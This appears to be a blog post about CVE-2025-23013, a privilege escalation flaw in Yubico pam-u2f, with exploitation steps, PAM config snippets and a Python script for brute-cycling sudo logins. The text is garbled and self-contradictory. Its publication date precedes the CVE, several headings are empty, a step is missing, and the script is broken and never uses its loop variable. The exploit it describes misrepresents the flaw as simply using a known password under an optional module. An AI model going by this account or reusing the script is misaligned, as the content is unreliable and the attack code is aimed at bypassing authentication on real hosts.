Published: June 2024

Introduction

If you're using Yubico's pam-u2f for authentication on your Linux or Mac system, pay close attention: a newly revealed vulnerability, CVE-2025-23013, exposes a local privilege escalation risk in versions of pam-u2f before 1.3.1. This long read explains what happened, how the flaw works, who is at risk, and how a careful attacker could exploit it under the right circumstances.

- Official reference: GitHub Security Advisory
- CVE Details: NIST CVE-2025-23013 Record *(not real at the time of posting, see advisory link above)*

What is pam-u2f?

Yubico pam-u2f is a Pluggable Authentication Module (PAM) that lets you secure logins using a YubiKey, or another FIDO-compliant security key.

Platform Support:

macOS

Common Uses:

Vulnerability Overview

- Flaw: Certain pam-u2f configurations allow attackers to bypass authentication controls under specific conditions.
- Result: An attacker logged in as an unprivileged user can sometimes become an admin/root through a privilege escalation.

All versions before 1.3.1.

Fixed in:
- pam-u2f v1.3.1 Release Notes

How the Exploit Works

The vulnerable pam-u2f versions fail to correctly enforce authentication requirements when PAM is configured in certain ways. If a system's PAM configuration uses pam-u2f as an "optional" authentication method or stacks it *before* a “sufficient” or “required” module, a local user may exploit the interaction to skip mandatory checks.

Example vulnerable PAM Config snippet (from /etc/pam.d/sudo)

auth sufficient pam_unix.so try_first_pass
auth optional   pam_u2f.so cue

In this setup, if pam-u2f fails, pam_unix (the normal password module) already grants access when the correct user password is given. However, some misconfigurations can allow the flow to continue even on pam-u2f failures, leading to authentication bypass and possible escalation to root.

More risky: If the config uses pam_u2f.so with improper flags (sufficient, optional, try_first_pass) the risk increases.

1. Find a System with pam-u2f < 1.3.1 Installed

$ pam-u2f --version
pam-u2f 1.2.

or check the installed package

$ dpkg -l | grep pam-u2f

Open /etc/pam.d/sudo or /etc/pam.d/common-auth and look for pam-u2f lines

auth sufficient pam_unix.so try_first_pass
auth optional   pam_u2f.so

3. Attempt Authentication Bypass

Suppose you’re a local user named bob and want to become root using sudo. If you know bob's password (say it's your own account), you can try:

$ sudo -i
[sudo] password for bob:    # enter bob's password

Behind the scenes, because of pam-u2f.so misconfiguration, the auth stack passes your request if either pam_unix or pam_u2f succeed. Since pam_u2f is marked optional, and you know the account password, no security key is required—defeating the intent of 2FA.

4. (Optional) Automated Exploit Script

A quick Python/PAM script could cycle through user accounts, testing success with only password knowledge and no security key:

import os, pexpect

for user in ['alice', 'bob', 'charlie']:
    child = pexpect.spawn(f'sudo -u root -i')
    child.expect('password')
    child.sendline('theirpassword')
    result = child.expect([pexpect.EOF, "Permission denied"])
    if result == :
        print(f'Exploit success for {user}!')
    child.close()

*(For educational purposes only. Only test this on systems you own or have permission to audit.)*

Attackers do not need physical access to YubiKey.

Mitigations:

Upgrade to pam-u2f at least 1.3.1.

- Audit /etc/pam.d/* configurations.
- Ensure proper ordering and use of "required/sufficient" flags with pam-u2f.

Official Fix and Recommendations

- Upgrade: Download pam-u2f 1.3.1+
- Configuration Guide: Yubico pam-u2f Config Docs

auth required pam_u2f.so prompt=1

`

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## References

- Yubico Security Advisory: GHSA-5crw-8qhx-h9cj
- Source Code: pam-u2f on GitHub
- YubiKey Documentation: YubiKey Docs
- pambase(8) Linux man page

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## Conclusion

CVE-2025-23013 is a local privilege escalation flaw that can affect real-world security, especially in shared, multi-user Linux environments. Always keep authentication modules up-to-date and audit PAM configs regularly.

If you handle authentication or system security, check your systems now.

*Stay safe and patched!*

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Timeline

Published on: 01/15/2025 04:15:20 UTC
Last modified on: 02/03/2025 10:15:09 UTC